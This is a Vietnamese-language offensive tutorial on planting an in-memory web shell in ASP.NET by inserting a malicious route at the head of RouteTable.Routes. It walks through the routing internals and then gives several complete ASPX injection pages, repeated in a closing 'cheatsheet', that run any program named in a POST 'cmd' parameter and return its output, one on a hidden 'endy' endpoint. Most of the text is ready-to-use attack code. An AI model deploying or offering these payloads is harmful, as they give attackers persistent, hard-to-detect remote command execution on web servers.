Route Memory Shell

0. Pre-face

Ở loại memshell này ta sẽ không bị phụ thuộc vào namespace System.Web.Mvc như Filter mà nó sẽ độc lập, cụ thể như sau:

Trong pipeline ASP.NET cung cấp cho ta 1 module handle việc Routing riêng so với module layer cao hơn (ASP.NET MVC)

Ta sẽ thấy ASP.NET Routing sẽ nằm giữa ASP.NET và ASP.NET MVC/WEBAPI, điều này khiến nó không bị phụ thuộc vào loại framework bậc cao hơn ở trên. Do đó khi triển khai memshell với Route ta sẽ không cần quan tâm Web đang sử dụng framework nào (MVC, WEBAPI,...)

Module này sẽ nhận event từ .NET Framework để khởi tạo IHttpHandler và truyền cho layer cao hơn để implement

Ta sẽ tìm cách để inject memshell vào Routing core để việc triển khai flexiable nhất có thể, tránh đụng vào layer cao hơn.

1. Phân tích

Nhìn lại vào file Global.asax.cs ta sẽ thấy phần khai báo Route nằm sau phần khai báo Filters

Nội dung file RouteConfig

Ta sẽ thấy Route được lưu trữ dưới dạng RouteTable, trong RouteTable sẽ là RouteCollection. RouteCollection là một Collection lưu trữ các RouteBase. Mỗi RouteBase là abtract class đại diện cho 1 Route.

Khi nhảy vào routes.MapRoute ta sẽ đến được RouteCollectionExtensions của name space System.Web.Mvc. Class này chính là 1 phần của việc implement thêm kết quả của ASP.NET Routing module mình đã nói ở trên

Method này cũng đơn giản là add thêm RouteBase vào RouteCollection, do đó ta sẽ không cần dùng đến method này mà tương tác trực tiếp với RouteCollection luôn

Lưu ý vì RouteTable có chứa RouteCollection là một public class nên ta mới có thể tương tác trực tiếp như vậy không giống như trong Java khi hầu như mọi thứ đều private

Từ đây ta sẽ có nhiều cách để triển khai memshell tùy thuộc vào việc ta implement RouteBase như thế nào

2. Triển khai

A. Tự implement RouteBase

Cách đầu tiên là ta sẽ tự implement lại RouteBase. Vì đây là 1 abtract class với 2 method là GetRouteDataGetVirtualPath nên khi implement ta sẽ override lại 2 method này

Công dụng của 2 method

Method
Công dụng

GetRouteData(HttpContextBase)

Return Routing information nếu request match với route

GetVirtualPath(RequestContext, RouteValueDictionary)

Return object chứa generated URL mà match với route (phiên bản ngược lại của GetRouteData)

Ví dụ implement

<script runat="server">
    public class MyRouteBase : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            Console.WriteLine("GetRouteData called");
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            Console.WriteLine("GetVirtualPath called");
            return null;
        }
    }
</script>

Khi chạy code ta sẽ thấy được thứ tự gọi của các method này so với Controller

GetRouteData sẽ được gọi trước tiên rồi đến Controller và cuối cùng là GetVirtualPath. Khi debug ta sẽ thấy với mỗi request thì method GetRouteDataGetVirtualPath của từng RouteBase đều được gọi

Gọi GetRouteData
Gọi GetVirtualPath

Hai method đều nhận vào encapsulates object của curent request, do đó ta có thể RCE từ encapsulates object này.

Có một điểm lưu ý là GetVirtualPath được gọi đến 4 lần, nguyên nhân vì sao thì mình chưa debug ra được. Do đó để tránh command thực thi 4 lần nên mình sẽ ưu tiên inject memshell vào GetRouteData.

Và cuối cùng còn 1 vấn đề nữa là priority của các RouteBase, ta sẽ thấy code sẽ chạy foreach từng RouteBase trong RouteCollections, do đó ta chỉ cần đơn giản insert malicous RouteBase của ta vào đầu collection là được, ví dụ:

routeCollection.Insert(0, new MyRouteBase());

Tóm lại ta sẽ có đoạn code sau để triển khai

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>

<script runat="server">
    public class MyRouteBase : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            String cmd = httpContext.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponseBase response = httpContext.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            return null;
        }
    }
</script>

<%
    RouteCollection routeCollection = RouteTable.Routes;
    routeCollection.Insert(0, new MyRouteBase());
    RouteConfig.RegisterRoutes(routeCollection);
%>

Khi inject ta sẽ có lỗi như thế này

Nhưng kết quả thì vẫn inject thành công

B. Dùng System.Web.Routing.Route

Cách này ta sẽ dùng implement RouteBase có sẵn của namespace System.Web.Routing để triển khai

Ví dụ ta có public class Route implement RouteBase như sau:

Route nhận vào IRouteHandler khi khởi tạo, mà IRouteHandler là một interface cho phép ta overide GetHttpHandler để return handler cho HTTP request

Method này cũng nhận vào encapsulates object của curent request, do đó ta có thể RCE từ encapsulates object này

Tóm lại ta sẽ có code inject như sau

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>

<script runat="server">
    public class MyRoute : IRouteHandler
    {
        public IHttpHandler GetHttpHandler(RequestContext requestContext)
        {
            String cmd = requestContext.HttpContext.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponseBase response = requestContext.HttpContext.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
            return null;
        }
    }
</script>

<%
    RouteCollection routeCollection = RouteTable.Routes;
    Route MyRoute = new Route("endy", new MyRoute());
    routeCollection.Insert(0, MyRoute);
    RouteConfig.RegisterRoutes(routeCollection);
%>

Khi inject thành công và truy cập shell ta sẽ có lỗi như sau

Nhưng kết quả thì calc vẫn popup. Muốn fix lỗi trên để có response thì ta sẽ cho GetHttpHandler return implement của interface IHttpHandler.

Nội dung interface IHttpHandler

Khi implement lại interface này thì ta override method ProcessRequest để có thể process HTTP request. Tóm lại ta sẽ có code inject sau

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>

<script runat="server">
    public class MyRoute : IRouteHandler
    {
        public IHttpHandler GetHttpHandler(RequestContext requestContext)
        {
            return new MyHandler(requestContext);
        }
    }
    
    public class MyHandler : IHttpHandler
    {
        public RequestContext RequestContext { get; private set; }

        public MyHandler(RequestContext context)
        {
            this.RequestContext = context;
        }
        
        public void ProcessRequest(HttpContext context)
        {
            String cmd = context.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponse response = context.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
        }
        public bool IsReusable { get; }
    }
</script>

<%
    RouteCollection routeCollection = RouteTable.Routes;
    Route MyRoute = new Route("endy", new MyRoute());
    routeCollection.Insert(0, MyRoute);
    RouteConfig.RegisterRoutes(routeCollection);
%>

Kết quả ta sẽ có response ngon lành khi truy cập path shell

Tóm lại cách này có ưu điểm hơn cách tự implement là có thể khai báo được endpoint memshell khá là tiện lợi (tuy nhiên thì trong ASP.NET không hỗ trợ khai báo endpoint kiểu /* nên ta sẽ khai báo 1 endpoint ẩn nào đó)

3. Cheatsheet

Tóm lại kiểu này không phụ thuộc vào System.Web.Mvc và có các cách triển khai như sau:

  • Triển khai bằng cách tự implement RouteBase

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>

<script runat="server">
    public class MyRouteBase : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            String cmd = httpContext.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponseBase response = httpContext.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            return null;
        }
    }
</script>

<%
    RouteCollection routeCollection = RouteTable.Routes;
    routeCollection.Insert(0, new MyRouteBase());
    RouteConfig.RegisterRoutes(routeCollection);
%>
  • Triển khai bằng System.Web.Routing.Route

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>

<script runat="server">
    public class MyRoute : IRouteHandler
    {
        public IHttpHandler GetHttpHandler(RequestContext requestContext)
        {
            return new MyHandler(requestContext);
        }
    }
    
    public class MyHandler : IHttpHandler
    {
        public RequestContext RequestContext { get; private set; }

        public MyHandler(RequestContext context)
        {
            this.RequestContext = context;
        }
        
        public void ProcessRequest(HttpContext context)
        {
            String cmd = context.Request.Form["cmd"]; 
            if (cmd != null)
            {
                HttpResponse response = context.Response;
                Process p = new Process();
                p.StartInfo.FileName = cmd;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.Start();
                byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                response.Write(System.Text.Encoding.Default.GetString(data));
            }
        }
        public bool IsReusable { get; }
    }
</script>

<%
    RouteCollection routeCollection = RouteTable.Routes;
    Route MyRoute = new Route("endy", new MyRoute());
    routeCollection.Insert(0, MyRoute);
    RouteConfig.RegisterRoutes(routeCollection);
%>

4. Refer

Last updated